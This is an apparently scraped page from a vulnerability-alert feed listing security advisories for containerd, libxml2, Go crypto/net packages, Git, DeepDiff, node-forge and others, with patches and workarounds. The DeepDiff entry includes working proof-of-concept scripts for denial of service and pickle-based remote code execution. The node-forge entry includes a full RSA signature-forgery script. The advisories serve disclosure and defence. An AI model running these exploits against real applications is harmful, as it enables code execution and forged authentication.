Where
AND
-Infinity
0
Severity
7.8
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Impact

An overly broad default permission vulnerability was found in containerd.

- /var/lib/containerd was created with the permission bits 0o711, while it should be created with 0o700 - Allowed local users on the host to potentially access the metadata store and the content store - /run/containerd/io.containerd.grpc.v1.cri was created with 0o755, while it should be created with 0o700 - Allowed local users on the host to potentially access the contents of Kubernetes local volumes. The contents of volumes might include setuid binaries, which could allow a local user on the host to elevate privileges on the host. - /run/containerd/io.containerd.sandbox.controller.v1.shim was created with 0o711, while it should be created with 0o700

The directory paths may differ depending on the daemon configuration. When the temp directory path is specified in the daemon configuration, that directory was also created with 0o711, while it should be created with 0o700.

Patches

This bug has been fixed in the following containerd versions:

2.2.0 2.1.5 2.0.7 1.7.29

Users should update to these versions to resolve the issue. These updates automatically change the permissions of the existing directories.

[!NOTE] /run/containerd and /run/containerd/io.containerd.runtime.v2.task are still created with 0o711. This is an expected behavior for supporting userns-remapped containers.

Workarounds

The system administrator on the host can manually chmod the directories to not have group or world accessible permisisons:

chmod 700 /var/lib/containerd chmod 700 /run/containerd/io.containerd.grpc.v1.cri chmod 700 /run/containerd/io.containerd.sandbox.controller.v1.shim

An alternative mitigation would be to run containerd in rootless mode.

Credits

The containerd project would like to thank David Leadbeater for responsibly disclosing this issue in accordance with the containerd security policy.

For more information

If you have any questions or comments about this advisory:

Open an issue in containerd Email us at security@containerd.io

To report a security issue in containerd:

Report a new vulnerability

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
Use After Free, Race Condition, Input Validation, Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Accessibility. A privacy issue was addressed by removing sensitive data.

1 / 44
Source: Apple
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.

Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.

The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.

The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.

In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.

Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.

swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.

swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.

1 / 10
Source: GitHub
First published (updated )
Severity
7.8
EPSS
0.02%
Input Validation, Double Free, Use After Free, Race Condition
AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H

A flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.

1 / 40
Source: IBM
First published (updated )
Severity
7.8
EPSS
0.02%
Path Traversal, Race Condition
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

A flaw was found in linux-pam. The module pamnamespace may use access user-controlled paths without proper protection, allowing local users to elevate their privileges to root via multiple symlink attacks and race conditions.

1 / 3
Source: IBM
First published (updated )
Severity
9.1
EPSS
0.01%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Impact What kind of vulnerability is it? Who is impacted?

It is an Authorization Bypass resulting from Improper Input Validation of the HTTP/2 :path pseudo-header.

The gRPC-Go server was too lenient in its routing logic, accepting requests where the :path omitted the mandatory leading slash (e.g., Service/Method instead of /Service/Method). While the server successfully routed these requests to the correct handler, authorization interceptors (including the official grpc/authz package) evaluated the raw, non-canonical path string. Consequently, "deny" rules defined using canonical paths (starting with /) failed to match the incoming request, allowing it to bypass the policy if a fallback "allow" rule was present.

Who is impacted? This affects gRPC-Go servers that meet both of the following criteria: 1. They use path-based authorization interceptors, such as the official RBAC implementation in google.golang.org/grpc/authz or custom interceptors relying on info.FullMethod or grpc.Method(ctx). 2. Their security policy contains specific "deny" rules for canonical paths but allows other requests by default (a fallback "allow" rule).

The vulnerability is exploitable by an attacker who can send raw HTTP/2 frames with malformed :path headers directly to the gRPC server.

Patches Has the problem been patched? What versions should users upgrade to?

Yes, the issue has been patched. The fix ensures that any request with a :path that does not start with a leading slash is immediately rejected with a codes.Unimplemented error, preventing it from reaching authorization interceptors or handlers with a non-canonical path string.

Users should upgrade to the following versions (or newer): v1.79.3 The latest master branch.

It is recommended that all users employing path-based authorization (especially grpc/authz) upgrade as soon as the patch is available in a tagged release.

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

While upgrading is the most secure and recommended path, users can mitigate the vulnerability using one of the following methods:

1. Use a Validating Interceptor (Recommended Mitigation) Add an "outermost" interceptor to your server that validates the path before any other authorization logic runs:

go func pathValidationInterceptor(ctx context.Context, req any, info grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { if info.FullMethod == "" || info.FullMethod[0] != '/' { return nil, status.Errorf(codes.Unimplemented, "malformed method name") } return handler(ctx, req) }

// Ensure this is the FIRST interceptor in your chain s := grpc.NewServer( grpc.ChainUnaryInterceptor(pathValidationInterceptor, authzInterceptor), )

2. Infrastructure-Level Normalization If your gRPC server is behind a reverse proxy or load balancer (such as Envoy, NGINX, or an L7 Cloud Load Balancer), ensure it is configured to enforce strict HTTP/2 compliance for pseudo-headers and reject or normalize requests where the :path header does not start with a leading slash.

3. Policy Hardening Switch to a "default deny" posture in your authorization policies (explicitly listing all allowed paths and denying everything else) to reduce the risk of bypasses via malformed inputs.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Infinite loop in HTTP/2 transport when given bad SETTINGSMAXFRAMESIZE in net/http/internal/http2 in golang.org/x/net

1 / 3
Source: Microsoft
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.

First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:U

Invoking auth bypass via unenforced @revoked status in golang.org/x/crypto/ssh/knownhosts

1 / 3
Source: Microsoft
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Invoking bypass of FIDO/U2F security keys physical interaction in golang.org/x/crypto/ssh

1 / 3
Source: Microsoft
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Invoking pathological RSA/DSA parameters may cause DoS in golang.org/x/crypto/ssh

1 / 2
Source: Microsoft
First published (updated )
Severity
9.1
EPSS
0.04%
Use After Free, Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

A vulnerability was found in libxml2. Processing certain sch:name elements from the input XML file can trigger a memory corruption issue. This flaw allows an attacker to craft a malicious XML input file that can lead libxml to crash, resulting in a denial of service or other possible undefined behavior due to sensitive data being corrupted in memory.

1 / 4
Source: NVD
First published (updated )
Severity
9.1
EPSS
0.05%
Use After Free, Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

A Heap Use After Free (UAF) vulnerability was discovered in the Schematron in the libxml2. The issue arises in the xmlSchematronGetNode function when processing XPath expressions in Schematron schema elements <sch:name path="..."/>, where a pointer to freed memory is returned and then accessed, leading to undefined behavior and potential crashes.

1 / 5
Source: Red Hat
First published (updated )
Severity
7.8
EPSS
0.10%
Integer Overflow
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.

1 / 3
Source: MITRE
First published (updated )
Severity
7.8
EPSS
0.02%
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

A flaw was found in binutils. A heap-buffer-overflow vulnerability exists when processing a specially crafted XCOFF (Extended Common Object File Format) object file during linking. A local attacker could trick a user into processing this malicious file, which could lead to arbitrary code execution, allowing the attacker to run unauthorized commands, or cause a denial of service, making the system unavailable.

1 / 3
Source: NVD
First published (updated )
Severity
7.8
EPSS
0.02%
Input Validation, Use After Free, Race Condition, Double Free
AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:H/E:U

A flaw was found in the libxslt library. The same memory field, psvi, is used for both stylesheet and input data, which can lead to type confusion during XML transformations. This vulnerability allows an attacker to crash the application or corrupt memory. In some cases, it may lead to denial of service or unexpected behavior.

1 / 45
Source: MITRE
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:U

Invoking bypass of certificate restrictions in golang.org/x/crypto/ssh

1 / 2
Source: Microsoft
First published (updated )
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Invoking failure to reject ASCII-only Punycode-encoded labels in golang.org/x/net/idna

1 / 3
Source: Microsoft
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

1 / 2
Source: NVD
First published (updated )
Severity
10
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFETOIMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format: py Delta({"dictionaryitemadded": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The pathtoelements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

py Delta( { "dictionaryitemadded": { ( ("root", "GETATTR"), ("init", "GETATTR"), ("globals", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, )

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFETOIMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach globals from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to globals, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

py ------------[ Setup ]------------ import pickle

from deepdiff.helper import Opcode

polluteint = pickle.dumps( { "valueschanged": {"root['tmp']": {"newvalue": Opcode("", 0, 0, 0, 0)}}, "dictionaryitemadded": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("builtins", "GET"), ("int", "GET"), ): "no longer a class" }, } )

assert isinstance(polluteint, bytes)

------------[ Exploit ]------------ This could be some example, vulnerable, application. The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains at least one entry, otherwise a different Delta needs to be applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"}

Before pollution print(int("41") + 1)

Apply Delta to mydict result = mydict + Delta(polluteint)

print(int("1337"))

shell $ python pocdos.py 42 Traceback (most recent call last): File "/tmp/pocdos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

py ------------[ Setup ]------------ import os import pickle

from deepdiff.helper import Opcode

pollutesafetoimport = pickle.dumps( { "valueschanged": {"root['tmp']": {"newvalue": Opcode("", 0, 0, 0, 0)}}, "setitemadded": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFETOIMPORT", "GETATTR"), ): set(["posix.system"]) }, } )

From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def reduce(self): cmd = "id > /tmp/pwned" return os.system, (cmd,)

Wrap object with dictionary so that Delta does not crash rcepickle = pickle.dumps({"": RCE()})

assert isinstance(pollutesafetoimport, bytes) assert isinstance(rcepickle, bytes)

------------[ Exploit ]------------ This could be some example, vulnerable, application. The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains at least one entry, otherwise a different Delta needs to be applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"}

Apply Delta to mydict result = mydict + Delta(pollutesafetoimport)

Delta(rcepickle) # no need to apply this Delta

shell $ python pocrce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secretkey of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path.getnestedobj and deepdiff.path.getnestedobjandforce, and possibly in deepdiff.delta.Delta.getelementsanddetails. Example code that raises an error when traversing these properties: py if elem.startswith("") and elem.endswith(""): raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with , but still protect against this vulnerability, it is possible to only forbid globals and builtins, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v15). - parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (decodePkcs1v15), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. decodePkcs1v15 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps 1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. 4. Place and run the PoC script (repromin.js) with node repromin.js in the same level as the forge folder. 5. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (parseAllDigestBytes: true), and - Node/OpenSSL verify (crypto.verify with RSAPKCS1PADDING). 7. Confirm output includes: - control-forge-strict: true - control-node: true - forgery (forge library, strict): true - forgery (node/OpenSSL): false

Proof of Concept

Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:

text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false

<details><summary>repromin.js</summary>

javascript #!/usr/bin/env node 'use strict';

const crypto = require('crypto'); const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFOSHA256PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' );

const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi hi hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid mid mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f f f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); }

function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for msg // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v15 // - options.parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } }

function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } });

const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3');

const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFOSHA256PREFIX, digest]);

// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // garbageLen affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly k. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]);

// Build the numeric interval of all EM values that start with prefix: // - low = prefix || 00..00 // - high = one past (prefix || ff..ff) // Then find s such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

const sig = toBuf(s, k);

const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSAPKCS1PADDING });

// forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig);

// Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, sig);

console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); }

main(); </details>

Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in decodePkcs1v15 before accepting the block. - Update the RSASSA-PKCS1-v15 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v15 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function decodePkcs1v15(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - lib/rsa.js key.verify(...) at lines ~1139-1223. - lib/rsa.js decodePkcs1v15(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE-2025-48384 is regarding a vulnerability in Git where when reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. GitHub created this CVE on their behalf. The documented Visual Studio updates incorporate updates in Git which address this vulnerability. Please see CVE-2025-48384 for more information.

1 / 7
Source: Microsoft
First published (updated )
Severity
9.1
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H/E:U

Invoking infinite loop on large channel writes in golang.org/x/crypto/ssh

1 / 3
Source: Microsoft
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Invoking duplicate attributes can cause XSS in golang.org/x/net/html

1 / 2
Source: Microsoft
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:U

Invoking incorrect handling of character references in DOCTYPE nodes in golang.org/x/net/html

1 / 2
Source: Microsoft
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Invoking key constraints not enforced in golang.org/x/crypto/ssh/agent

1 / 3
Source: Microsoft
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:U

Invoking incorrect handling of HTML elements in foreign content in golang.org/x/net/html

1 / 2
Source: Microsoft
First published (updated )
Severity
5.3
Out-of-bounds Read
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:U

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3.

1 / 2
Source: IBM
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

During chain building, the amount of work that is done is not correctly limited when a large number of intermediate certificates are passed in VerifyOptions.Intermediates, which can lead to a denial of service. This affects both direct users of crypto/x509 and users of crypto/tls.

1 / 2
Source: IBM
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203